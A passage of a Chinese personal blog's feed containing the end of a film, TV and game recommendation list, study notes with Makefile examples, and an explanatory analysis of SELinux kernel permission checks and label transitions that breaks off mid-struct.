title="《大明王朝1566》"></a>《大明王朝1566》</h3><p>一个无需解释的神剧，已经被很多人说烂了，把中国官场吃的透彻，看完之后感觉中国就算过了500年也仍旧如此这般。</p><p>一些名言：</p><ol><li><strong>有些事看起来不足半两，放上秤就是千斤也打不住</strong></li><li><strong>再苦一苦百姓吧</strong></li><li><strong>我可以不做名臣，但不能够做小人！</strong></li><li><strong>天地不仁以万物为刍狗，圣人不仁以百姓为刍狗。</strong></li><li><strong>文官袍服上绣的是禽，武官袍服上绣的是兽。穿上这身袍服，你们说哪一个不是衣冠禽兽？</strong></li><li><strong>没有真正的贤臣。贤与不贤有时候也由不得他们。看清楚了，贤时便用，不贤便黜。</strong></li><li><strong>做官要三思！什么叫“三思”？“三思”就是：思危、思退、思变！</strong></li></ol><h3 id="《白色巨塔》"><a href="#《白色巨塔》" class="headerlink" title="《白色巨塔》"></a>《白色巨塔》</h3><p>21世纪前10年的最强日剧应该就是它了。对过程主义和结果主义的探讨，里间修二和财前五郎两种不同理想主义的探讨。医院中形形色色的人物，有摇摆不定的柳园，有阴险狡诈的鹈饲教授，有老学究的东教授，以及剧中唯一真神大河内教授。</p><h3 id="《请回答1988》"><a href="#《请回答1988》" class="headerlink" title="《请回答1988》"></a>《请回答1988》</h3><p>非常优秀的韩剧，温柔而有力量的剧情，亲情、友情、爱情，三合一打包全都有。一开始是听了木鱼水心的推荐，进而在爱奇艺上看了一部分，真的是精彩，有笑点，有泪点。</p><h3 id="《绝命毒师》"><a href="#《绝命毒师》" class="headerlink" title="《绝命毒师》"></a>《绝命毒师》</h3><p>反讽程度拉满，使用了错误的方法，只会离最初的目标越来越远。</p><p>剧中的老白为了给家人留下钱过活，走上制毒道路，成就了自己的制毒事业，获得了对手的尊敬，赚到了钱。但同时老白也被自己的欲望和执着折磨着，被家人抛弃，事业最终暴露被调查，遭受世人的唾弃，最后孤独的死去。</p><h3 id="《生活大爆炸》"><a href="#《生活大爆炸》" class="headerlink" title="《生活大爆炸》"></a>《生活大爆炸》</h3><p>TECH OTAKUS SAVE THE WORLD！技术宅拯救世界！四个搞笑技术宅带着美女的欢乐喜剧。不必去理解其中深奥的物理学定律和公式，也能get其中的笑点。</p><h2 id="电影（包含动画电影）"><a href="#电影（包含动画电影）" class="headerlink" title="电影（包含动画电影）"></a>电影（包含动画电影）</h2><h3 id="《阿基拉》"><a href="#《阿基拉》" class="headerlink" title="《阿基拉》"></a>《阿基拉》</h3><p>经典名言的出处： <strong>“像变形虫这样的东西被赋予人的力量，那后果将会如何? 变形虫不会建造房屋和桥梁，它们只会吞噬周围的一切”</strong></p><p>一个异能少年站立在东京废墟之上，人人都会说这是大友克洋。</p><p>还有那标志性的红色摩托车~</p><h3 id="《秒速五厘米》"><a href="#《秒速五厘米》" class="headerlink" title="《秒速五厘米》"></a>《秒速五厘米》</h3><p>新海诚对“距离”的深度刻画，男主与女主的距离，男主与女二的距离。</p><p><strong>“你知道吗？听说樱花飘落的速度是秒速五厘米哦”</strong></p><p>印象最深的是男主在大雪天，风雨无阻的去见女主，准备了写好的信但被风吹走了，而女主在车站中终于等到了男主，在车站中短暂的吃完便当，在深夜一起漫步在积雪的路上，在一棵樱花树前相拥一吻。在隔天的早上女主送走了男主，却也没有交出她手写的那封信。两个人的感情最后还是败给了距离。</p><h3 id="《言叶之庭》"><a href="#《言叶之庭》" class="headerlink" title="《言叶之庭》"></a>《言叶之庭》</h3><p>师生恋哪家强，找新海诚看言叶之庭！</p><p>叛逆的学生和迷茫的老师，在下雨的小庭中，两颗逐渐靠近的心。</p><p><strong>隐约雷鸣 阴霾天空 但盼风雨来 能留你在此</strong></p><p><strong>隐约雷鸣 阴霾天空 即使风无雨 我亦留此地</strong></p><h3 id="《天空之城》"><a href="#《天空之城》" class="headerlink" title="《天空之城》"></a>《天空之城》</h3><p>先进的科技并不能带来更多的幸福，抛弃大地的天空之城就像是失去根的大树，最终只会走向没落。</p><p>人物塑造的最好的当属其中的海盗婆婆，刀子嘴豆腐心，最初以反派的形象出现，但她的内心依旧善良。</p><h3 id="《千与千寻》"><a href="#《千与千寻》" class="headerlink" title="《千与千寻》"></a>《千与千寻》</h3><p>至今<strong>唯一一部非英语语言、2D手绘</strong>的动画电影拿下奥斯卡最佳动画长片奖的动画电影。是历史上第一部，至今也是唯一一部以电影身份获得欧洲三大电影节柏林金熊的动画作品。</p><h3 id="《天书奇谭》"><a href="#《天书奇谭》" class="headerlink" title="《天书奇谭》"></a>《天书奇谭》</h3><p>具有中国传统美的动画电影，我个人最喜欢的上世纪传统动画电影。最有中国美的画风，入木三分的人物形象刻画。</p><h3 id="《肖生克的救赎》"><a href="#《肖生克的救赎》" class="headerlink" title="《肖生克的救赎》"></a>《肖生克的救赎》</h3><p>永远的电影排行榜第一！IMDB和豆瓣的最高评分电影。</p><p><strong>救赎之道就在其中</strong></p><p><strong>这些高墙很奇怪，一开始你痛恨它们，然后你会习惯它们，等时间长了最终你会依赖它们，这就是体制化</strong></p><h3 id="《蝙蝠侠：黑暗骑士》"><a href="#《蝙蝠侠：黑暗骑士》" class="headerlink" title="《蝙蝠侠：黑暗骑士》"></a>《蝙蝠侠：黑暗骑士》</h3><p>我最喜欢的英雄电影，超越了传统的英雄电影，没有漫威英雄的那种诙谐幽默，而是有一种沉重的思考。</p><p>其中三部曲的第二部最为经典，小丑出的电车难题，以及小丑那个疯癫的形象，至今仍旧震撼。</p><h2 id="游戏"><a href="#游戏" class="headerlink" title="游戏"></a>游戏</h2><h3 id="《口袋妖怪》"><a href="#《口袋妖怪》" class="headerlink" title="《口袋妖怪》"></a>《口袋妖怪》</h3><p>闻名世界的神级系列作品。就算现在依旧是回合制，也依旧有着极高的人气。</p><p>从小时候玩的红宝石、蓝宝石、绿宝石，到现在的剑盾。</p><h3 id="《逆转裁判》1-3"><a href="#《逆转裁判》1-3" class="headerlink" title="《逆转裁判》1-3"></a>《逆转裁判》1-3</h3><p>逆转三部曲，循序渐进，在第三部的最后一章，所有的恩怨，所有的伏笔，全部回收。</p><p>以仓院家主家分家的恩怨为起始和主轴，从DL6号事件直到华丽的逆转，明线暗线错综复杂，支线引出人物，反映角色的成长，升华主题。</p><h3 id="《传说之下》"><a href="#《传说之下》" class="headerlink" title="《传说之下》"></a>《传说之下》</h3><p>震撼的游戏剧情，震撼的演出设计，震撼的战斗系统。这个2015年的独立游戏，充满着让人意想不到的地方。印象比较深的是对EXP和LV的讽刺设计，深深震撼我这个老RPG玩家。</p><h3 id="《弹丸论破》"><a href="#《弹丸论破》" class="headerlink" title="《弹丸论破》"></a>《弹丸论破》</h3><p>知名的高速推理游戏，系列1-3作都是十分不错的选择。其中2作的狛枝教主之战，算是系列的巅峰一案，为了拯救希望不惜自己成为垫脚石。</p><h3 id="《空洞骑士》"><a href="#《空洞骑士》" class="headerlink" title="《空洞骑士》"></a>《空洞骑士》</h3><p>优秀的魂系银河地下城游戏，隐晦的剧情信息通过不同的收藏品和人物对话展现出来。需要一定的手操能力，比较费手柄。</p><p><strong>在远方的荒野里， 提到你的名字它们都饱含敬畏与惋惜之情。</strong></p><p><strong>没有人能驯服我们野蛮的灵魂，而你接受了挑战。</strong></p><p><strong>在最苍白的注视下，你教授、改变。本能得到了救赎。</strong> </p><p><strong>你为虫子和野兽带来了他们做梦也想不到的世界。</strong></p><h3 id="《战神》系列"><a href="#《战神》系列" class="headerlink" title="《战神》系列"></a>《战神》系列</h3><p>无需多言的神作系列，前几作的基调是对于强权，命运的不屈，展开血腥的复仇，后面的新战神非常成功的描写了父子情，神作榜常客不容错过。</p><h3 id="《荒野大镖客：救赎2》（大表哥2）"><a href="#《荒野大镖客：救赎2》（大表哥2）" class="headerlink" title="《荒野大镖客：救赎2》（大表哥2）"></a>《荒野大镖客：救赎2》（大表哥2）</h3><p>你必须要自己去丈量这片土地！亲身去体验参与西部帮派间的对决，收集查看其中的日记和帮派成员的对话，你能感受到这个一个真实的世界，每个人仿佛都活生生的在这里。</p><h3 id="《塞尔达》"><a href="#《塞尔达》" class="headerlink" title="《塞尔达》"></a>《塞尔达》</h3><p>同样是无需多言的神作系列，多部作品具有跨时代意义。首先是系列第一作，开创了存档游戏的先河；随后是塞尔达时之笛，3D游戏设计教科书；之后的旷野之息和王国之泪更是开放世界的经典设计，极为丰富的玩法和可供玩家发挥的巨大想象空间。</p><h3 id="《最终幻想7》"><a href="#《最终幻想7》" class="headerlink" title="《最终幻想7》"></a>《最终幻想7》</h3><p>传世神作，强大的演出，超赞的剧情，当年大胆的角色塑造——沉默系帅哥cloud + 温柔性感美女tifa + 元气可爱美女 aerith。</p><p>最终幻想系列一直在强调失去，每个人都会失去一些重要的东西。</p><p>最近出了RE重置版，绝对不能错过。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;一些不错的作品值得更多的人接触，特此写下那些年我接触过的有趣的娱乐作品，我推荐的作品或是能让人获得新颖的体验，或是能让人思考良久，或是能让人轻松愉快。&lt;/p&gt;
&lt;h2 id=&quot;番剧&quot;&gt;&lt;a href=&quot;#番剧&quot; class=&quot;headerlink&quot; title=&quot;番剧&quot;&gt;&lt;
      
    
    </summary>
    
      <category term="杂谈" scheme="https://hurricane618.me/categories/%E6%9D%82%E8%B0%88/"/>
    
    
      <category term="娱乐" scheme="https://hurricane618.me/tags/%E5%A8%B1%E4%B9%90/"/>
    
  </entry>
  
  <entry>
    <title>Makefile学习笔记</title>
    <link href="https://hurricane618.me/2023/06/17/makefile-study-notes/"/>
    <id>https://hurricane618.me/2023/06/17/makefile-study-notes/</id>
    <published>2023-06-16T16:35:51.000Z</published>
    <updated>2023-06-16T16:35:51.365Z</updated>
    
    <content type="html"><![CDATA[<h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>这篇学习笔记是根据陈浩写的《跟我一起写Makefile》系列文章总结出的内容，这个系列文章对Makefile的讲解深入浅出，对于新人十分友好。推荐大家在有时间的情况下，通读全文。</p><p>在写文章到一半的时候，惊闻陈浩老师离世，中文互联网永远失去了一位充满理想的技术人，写这篇文章也是感谢陈浩老师为我们贡献了如此之多的好博文，您永远都是我的榜样。希望中国的程序员不要那么的苦逼，不是每天996，而是真正的在探索技术，利用技术来提升自己的生产力。</p><p>这是第一次感受到程序员身体健康的重要性，也希望广大程序员朋友积极锻炼身体，身体才是革命的本钱。</p><h2 id="Makefile思维导图"><a href="#Makefile思维导图" class="headerlink" title="Makefile思维导图"></a>Makefile思维导图</h2><img src="/2023/06/17/makefile-study-notes/Makefile.png"><h2 id="一些有用的例子"><a href="#一些有用的例子" class="headerlink" title="一些有用的例子"></a>一些有用的例子</h2><h3 id="将所有-c文件编译为目标foo"><a href="#将所有-c文件编译为目标foo" class="headerlink" title="将所有.c文件编译为目标foo"></a>将所有.c文件编译为目标foo</h3><figure class="highlight makefile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">objects := <span class="variable">$(<span class="built_in">patsubst</span> %.c,%.o,$(<span class="built_in">wildcard</span> *.c)</span>)</span><br><span class="line">foo : <span class="variable">$(objects)</span></span><br><span class="line">    cc -o foo <span class="variable">$(objects)</span></span><br></pre></td></tr></table></figure><p>其中<code>$(wildcard *.c)</code>找到所有的<code>.c</code>文件，通过<code>$(patsubst %.c,%.o,$(wildcard *.c))</code>将所有<code>.c</code>文件替换为<code>.o</code>文件当做object变量的值。最后的依赖规则中成为foo目标的依赖项，其中的<code>.o</code>会被自动推导为对应<code>.c</code>文件的编译生成内容。</p><h3 id="生成多个目标文件"><a href="#生成多个目标文件" class="headerlink" title="生成多个目标文件"></a>生成多个目标文件</h3><figure class="highlight makefile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">all : prog1 prog2 prog3</span><br><span class="line">.PHONY : all</span><br><span class="line"></span><br><span class="line">prog1 : prog1.o utils.o</span><br><span class="line">    cc -o prog1 prog1.o utils.o</span><br><span class="line">prog2 : prog2.o</span><br><span class="line">    cc -o prog2 prog2.o</span><br><span class="line">prog3 : prog3.o sort.o utils.o</span><br><span class="line">    cc -o prog3 prog3.o sort.o utils.o</span><br></pre></td></tr></table></figure><p>all依赖3个prog，这样就能全部执行对应的生成命令，最后得到3个目标文件。</p><h3 id="清理不同类型文件"><a href="#清理不同类型文件" class="headerlink" title="清理不同类型文件"></a>清理不同类型文件</h3><figure class="highlight makefile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">.PHONY : cleanall cleanobj cleandiff</span><br><span class="line"></span><br><span class="line">cleanall : cleanobj cleandiff</span><br><span class="line">    rm program</span><br><span class="line">cleanobj :</span><br><span class="line">    rm *.o</span><br><span class="line">cleandiff :</span><br><span class="line">    rm *.diff</span><br></pre></td></tr></table></figure><p>定义了3个伪目标，这样能通过<code>make cleanall</code>清除所有目标，<code>make cleanobj</code>清除<code>.o</code>文件，<code>make cleandiff</code>清除<code>.diff</code>文件。</p><h3 id="将多个存在生成规律的目标整合成一条规则"><a href="#将多个存在生成规律的目标整合成一条规则" class="headerlink" title="将多个存在生成规律的目标整合成一条规则"></a>将多个存在生成规律的目标整合成一条规则</h3><figure class="highlight makefile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">bigoutput littleoutput : text.g</span><br><span class="line">    generate text.g -<span class="variable">$(<span class="built_in">subst</span> output,,<span class="variable">$@</span>)</span> &gt; <span class="variable">$@</span></span><br><span class="line"><span class="comment"># 上述规则等价于</span></span><br><span class="line">bigoutput : text.g</span><br><span class="line">    generate text.g -big &gt; bigoutput</span><br><span class="line">littleoutput : text.g</span><br><span class="line">    generate text.g -little &gt; littleoutput</span><br></pre></td></tr></table></figure><p><code>$@</code>表示目标的集合，会依次从中取出目标用于执行命令，之后又使用<code>$(subst output,,$@)</code>将output替换成空。</p><h3 id="利用静态模式规则实现批量依赖规则"><a href="#利用静态模式规则实现批量依赖规则" class="headerlink" title="利用静态模式规则实现批量依赖规则"></a>利用静态模式规则实现批量依赖规则</h3><figure class="highlight makefile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">files = foo.elc bar.o lose.o</span><br><span class="line"></span><br><span class="line"><span class="variable">$(<span class="built_in">filter</span> %.o,<span class="variable">$(files)</span>)</span>: %.o: %.c</span><br><span class="line">    <span class="variable">$(CC)</span> -c <span class="variable">$(CFLAGS)</span> <span class="variable">$&lt;</span> -o <span class="variable">$@</span></span><br><span class="line"><span class="variable">$(<span class="built_in">filter</span> %.elc,<span class="variable">$(files)</span>)</span>: %.elc: %.el</span><br><span class="line">    emacs -f batch-byte-compile <span class="variable">$&lt;</span></span><br></pre></td></tr></table></figure><p><code>$(filter %.o,$(files))</code>从files变量中筛选出<code>.o</code>文件，这些<code>.o</code>文件全部匹配上<code>.c</code>文件。对应的执行规则<code>$&lt;</code>在模式匹配中会表示一组依赖文件集，和<code>$@</code>组合在一起刚好是对所有符合的<code>.c</code>文件生成对应<code>.o</code>文件。</p><h3 id="自动更新Makefile中的依赖关系"><a href="#自动更新Makefile中的依赖关系" class="headerlink" title="自动更新Makefile中的依赖关系"></a>自动更新Makefile中的依赖关系</h3><figure class="highlight makefile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">%.d: %.c</span></span><br><span class="line">    @set -e; rm -f <span class="variable">$@</span>; \</span><br><span class="line">    <span class="variable">$(CC)</span> -M <span class="variable">$(CPPFLAGS)</span> <span class="variable">$&lt;</span> &gt; <span class="variable">$@</span>.$$$$; \</span><br><span class="line">    sed 's,\(<span class="variable">$*</span>\)\.o[ :]*,\1.o <span class="variable">$@</span> : ,g' &lt; <span class="variable">$@</span>.$$$$ &gt; <span class="variable">$@</span>; \</span><br><span class="line">    rm -f <span class="variable">$@</span>.$$$$</span><br><span class="line">   </span><br><span class="line"><span class="keyword">include</span> $(sources:.c=.d)</span><br></pre></td></tr></table></figure><p>将所有的<code>.d</code>文件依赖于<code>.c</code>文件，当我们的c文件更新时会自动更新<code>.d</code>依赖文件。首先会删除原有的依赖文件，之后则是生成新的依赖文件。<code>$$$$</code> 意为一个随机编号，生成的文件名会拼接上这个随机符号，这里的名称可能是<code>name.d.12345</code>。第三行的sed是将其中的依赖关系加入<code>xxx.d</code>文件，第四行则是删除临时文件。如果我们要使用这个依赖关系，可以直接用include批量引入。</p><h3 id="嵌套执行Makefile"><a href="#嵌套执行Makefile" class="headerlink" title="嵌套执行Makefile"></a>嵌套执行Makefile</h3><figure class="highlight makefile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="section">subsystem:</span></span><br><span class="line">    cd subdir &amp;&amp; <span class="variable">$(MAKE)</span></span><br><span class="line"></span><br><span class="line"><span class="section">subsystem:</span></span><br><span class="line">    cd subdir; <span class="variable">$(MAKE)</span></span><br><span class="line">    </span><br><span class="line"><span class="section">subsystem:</span></span><br><span class="line">    <span class="variable">$(MAKE)</span> -C subdir</span><br></pre></td></tr></table></figure><p>由一个主Makefile开始，去执行子目录中的Makefile，这样的结构能有效减少Makefile的复杂度。</p><h3 id="使用MAKELEVEL对不同的调用层作区分"><a href="#使用MAKELEVEL对不同的调用层作区分" class="headerlink" title="使用MAKELEVEL对不同的调用层作区分"></a>使用MAKELEVEL对不同的调用层作区分</h3><figure class="highlight makefile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">ifeq</span> (0,$&#123;MAKELEVEL&#125;)</span><br><span class="line">cur-dir := <span class="variable">$(<span class="built_in">shell</span> pwd)</span></span><br><span class="line">whoami := <span class="variable">$(<span class="built_in">shell</span> whoami)</span></span><br><span class="line">host-type := <span class="variable">$(<span class="built_in">shell</span> arch)</span></span><br><span class="line">MAKE := $&#123;MAKE&#125; host-type=$&#123;host-type&#125; whoami=$&#123;whoami&#125;</span><br><span class="line"><span class="keyword">endif</span></span><br></pre></td></tr></table></figure><p>系统变量<code>MAKELEVEL</code>记录了当前的Makefile的调用层数，嵌套调用的时候这个变量数值会增加。</p><h3 id="利用VPATH搜索路径指定依赖文件的搜索路径"><a href="#利用VPATH搜索路径指定依赖文件的搜索路径" class="headerlink" title="利用VPATH搜索路径指定依赖文件的搜索路径"></a>利用VPATH搜索路径指定依赖文件的搜索路径</h3><figure class="highlight makefile"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">override</span> CFLAGS += <span class="variable">$(<span class="built_in">patsubst</span> %,-I%,$(<span class="built_in">subst</span> :, ,<span class="variable">$(VPATH)</span>)</span>)</span><br></pre></td></tr></table></figure><p>如果<code>$(VPATH)</code>的值为<code>src:../headers</code>，那么上面的语句将会返回<code>-Isrc -I../headers</code>。</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h2 id=&quot;前言&quot;&gt;&lt;a href=&quot;#前言&quot; class=&quot;headerlink&quot; title=&quot;前言&quot;&gt;&lt;/a&gt;前言&lt;/h2&gt;&lt;p&gt;这篇学习笔记是根据陈浩写的《跟我一起写Makefile》系列文章总结出的内容，这个系列文章对Makefile的讲解深入浅出，对于新人十分友好
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="makefile" scheme="https://hurricane618.me/tags/makefile/"/>
    
  </entry>
  
  <entry>
    <title>SELinux源码分析--内核态</title>
    <link href="https://hurricane618.me/2023/03/14/selinux-source-code-kernel-part/"/>
    <id>https://hurricane618.me/2023/03/14/selinux-source-code-kernel-part/</id>
    <published>2023-03-14T15:56:59.000Z</published>
    <updated>2023-03-14T15:56:59.339Z</updated>
    
    <content type="html"><![CDATA[<p>为了更加熟悉SELinux，针对这个安全机制的源码部分做了一些梳理，结合了官方的指南丰富了其中的源码实现细节。SELinux博大精深，这篇讲述该机制的内核部分实现，包括贯穿整个机制的两个核心——对系统行为的检查以及标签的转换，以及比较核心的数据和接口。</p><p>备注：我的源码分析中忽略了mls机制，在一些检查点中针对mls有额外的处理。</p><h2 id="核心流程一：对系统调用行为的鉴权"><a href="#核心流程一：对系统调用行为的鉴权" class="headerlink" title="核心流程一：对系统调用行为的鉴权"></a>核心流程一：对系统调用行为的鉴权</h2><p>我这里拿<code>fork</code>系统调用为例子🌰，整个调用过程核心流程如下图所示：</p><img src="/2023/03/14/selinux-source-code-kernel-part/selinux行为鉴权.png"><p>首先是系统调用的入口函数里会存在一些hook点，比如这里的fork系统调用在<code>copy_process</code>中存在<code>security_task_alloc</code>，而这个是LSM的hook点位。SELinux的<code>hooks.c</code>中<code>selinux_hooks</code>结构体数组将SELinux相关的检查函数用<code>LSM_HOOK_INIT</code>设置到对应的hook点上。</p><p>在某个进程触发fork系统调用，到达安全检测点会跳转到<code>selinux_task_alloc</code>函数。该函数则是SELinux检测这个系统调用是否有权限执行。不同的系统调用有不同的检查逻辑，最终会调用的权限检查函数也有所不同，<code>fork</code>系统调用的检查函数是<code>avc_has_perm</code>。</p><p><code>avc_has_perm</code>函数在<code>avc.c</code>中，用于检查系统调用是否被授权。其中有两个主要函数分别为<code>avc_has_perm_noaudit</code>和<code>avc_audit</code>，<code>avc_has_perm_noaudit</code>主要做具体的权限检查，而<code>avc_audit</code>则是记录avc日志信息。</p><p><code>avc_has_perm_noaudit</code>首先给自己加上rcu的读锁，然后从已有的avc数据中查找是否缓存过，找得到就直接复制一份出来，没有找到则进入<code>avc_compute_av</code>计算av数据。根据av数据中的规则权限和请求的权限求得这次请求是否被允许，如果行为不允许，会进入<code>avc_denied</code>将这次的av结果更新。</p><p><code>avc_compute_av</code>主要包含两个函数，其一是 <code>security_compute_av</code>，负责计算av数据；其二是<code>avc_insert</code>将计算到的avc数据插入缓存中。<code>security_compute_av</code>通过<code>ssid</code>和<code>tsid</code>在sidtab中搜索到<code>scontext</code>和<code>tcontext</code>进入到整个流程的核心函数<code>context_struct_compute_av</code>。</p><p><code>context_struct_compute_av</code>函数含有多个检查访问是否合法的步骤。</p><ol><li>avd内容的初始化；</li><li>遍历检查对象类和权限，并根据节点的类型（AVTAB_ALLOWED、AVTAB_AUDITALLOW、AVTAB_AUDITDENY、AVTAB_XPERMS）将数据整合进avd中；</li><li><code>cond_compute_av</code>检查是否有条件语句规则包含在这次的访问判断中，如果存在则会对权限做修改；</li><li>通过<code>constraint_expr_eval</code>查看是否存在额外约束，根据额外约束移除权限；</li><li>如果进程标签转换正在执行，需要检测是否有<code>transition</code>或<code>dyntransition</code>权限，是否有角色的改变。</li><li>检查是否有<code>typebounds</code>规则约束应用在这次访问中，根据额外约束修正权限</li><li>这些结果都保存在avd数据中</li></ol><p><code>avc_audit</code>会先利用<code>avc_audit_required</code>检查是否要记录audit日志，再调用<code>slow_avc_audit</code>函数构造具体的日志信息。<code>avc_audit_required</code>内部会先把请求的权限和取反后的允许权限做与操作，这样就能得到是否拒绝该行为。但这里会有另外一个位<code>avd-&gt;auditdeny</code>，如果该位被置为0，则这个拒绝行为不会被记录在audit日志中。</p><p>当整个鉴权过程结束之后会从<code>selinux_task_alloc</code>返回，一路返回到fork自身的<code>copy_process</code>中继续系统调用执行。</p><h2 id="核心流程二：进程的标签转换"><a href="#核心流程二：进程的标签转换" class="headerlink" title="核心流程二：进程的标签转换"></a>核心流程二：进程的标签转换</h2><p>SELinux中存在一种规则type_transition，让一个带着标签的进程，执行另外一个带着标签的文件时，发生标签转换，从原有的标签转换成其他设置的标签。</p><p><code>type_transition unconfined_t secure_services_exec_t : process ext_gateway_t;</code></p><p><code>unconfined_t</code>的进程执行了带着<code>secure_services_exec_t</code>的文件，触发标签转换，该文件执行成功变成进程后为<code>ext_gateway_t</code>。但要真正的执行转换还需要有三个权限：</p><p>（1）<code>allow unconfined_t ext_gateway_t : process transition;</code>标签间的转换权限</p><p>（2）<code>allow unconfined_t secure_services_exec_t : file { execute read getattr };</code>进程执行文件的权限</p><p>（3）<code>allow ext_gateway_t secure_services_exec_t : file entrypoint;</code>转换标签必须有进入点权限</p><p>因为是要拉起另外一个进程所以入口都是在do_execveat_common中。</p><img src="/2023/03/14/selinux-source-code-kernel-part/selinux标签转换.png"><p><strong>整个过程分为三个阶段</strong></p><p>第一个阶段是检查进程标签转换的标签内容</p><p>首先从程序执行入口处进入<code>alloc_bprm</code>，这里会分配<code>linux_binprm</code>结构体，这个结构体记录了二进制执行程序的相关信息，包括核心的凭证和权限，参数，环境变量，文件名等内容。经过一系列的字符串拷贝和参数检查，进入到<code>bprm_execve</code>执行新的二进制程序。<code>bprm_execve</code>函数中有LSM的hook点位<code>security_bprm_creds_for_exec</code>，最终调用<code>selinux_bprm_creds_for_exec</code>。</p><p><code>selinux_bprm_creds_for_exec</code>会调用<code>security_transition_sid</code>检查程序的标签转换内容，而这个函数只是<code>security_compute_sid</code>的一层封装，<code>security_compute_sid</code>中会确认是否需要计算新的sid。大概分成下面的流程：</p><ol><li>搜索sidtab中的ssid和tsid，获得<code>scontext</code>和<code>tcontext</code>；</li><li>设置用户id、角色id和标签类型；</li><li>检查是否有<code>type_transition</code>规则在av数据中或者条件av数据中</li><li>如果存在标签转换，检查是否有<code>role_transition</code>角色转换，并设置好角色</li><li>检查新的标签内容是否合法，不合法内容将会被日志记录；</li><li>调用<code>sidtab_context_to_sid</code>获得新标签的sid，并在sidtab中更新</li></ol><p>第二个阶段检查进程是否有转换等权限</p><p>从<code>selinux_bprm_creds_for_exec</code>中执行完<code>security_transition_sid</code>后，会有许多的<code>avc_has_perm</code>函数用来确认是否有相关的转换权限。首先会检查，是否有<code>execute_no_trans</code>权限，拥有该权限会直接返回，没有则继续检查<code>transition</code>、<code>entrypoint</code>等其他权限。</p><p>第三个阶段检查执行二进制的相关权限</p><p>在前面两个阶段的检查结束后，会返回到<code>bprm_execve</code>中继续执行到<code>exec_binprm</code>，这个函数会调用<code>search_binary_handler</code>寻找二进制文件相应的处理器，并在处理其中执行它的<code>.load_binary</code>函数指针执行到<code>load_xxx_binary</code>中，这些函数最后的入口点在<code>begin_new_exec</code>。</p><p><code>begin_new_exec</code>会在最后执行<code>security_bprm_committing_creds</code>和<code>security_bprm_committed_creds</code>这两个hook点对应，<code>selinux_bprm_committing_creds</code>和<code>selinux_bprm_committed_creds</code>。第一个函数用于进程初始化凭证，这里会检查是否有权限限制，第二个函数针对不会继承信号状态的进程做信号清除。</p><h2 id="核心数据和接口"><a href="#核心数据和接口" class="headerlink" title="核心数据和接口"></a>核心数据和接口</h2><h3 id="SELinux状态信息的全局变量"><a href="#SELinux状态信息的全局变量" class="headerlink" title="SELinux状态信息的全局变量"></a>SELinux状态信息的全局变量</h3><p><code>struct selinux_state selinux_state;</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">selinux_state</span> &#123;</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> CONFIG_SECURITY_SELINUX_DISABLE</span></span><br><span class="line"><span class="keyword">bool</span> disabled;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> CONFIG_SECURITY_SELINUX_DEVELOP</span></span><br><span class="line"><span class="keyword">bool</span> enforcing;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"><span class="keyword">bool</span> checkreqprot;</span><br><span class="line"><span class="keyword">bool</span> initialized;</span><br><span class="line"><span class="keyword">bool</span> policycap[__POLICYDB_CAP_MAX];</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">page</span> *<span class="title">status_page</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">mutex</span> <span class="title">status_lock</span>;</span></span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">selinux_avc</span> *<span class="title">avc</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">selinux_policy</span> __<span class="title">rcu</span> *<span class="title">policy</span>;</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">mutex</span> <span class="title">policy_mutex</span>;</span></span><br><span class="line">&#125; 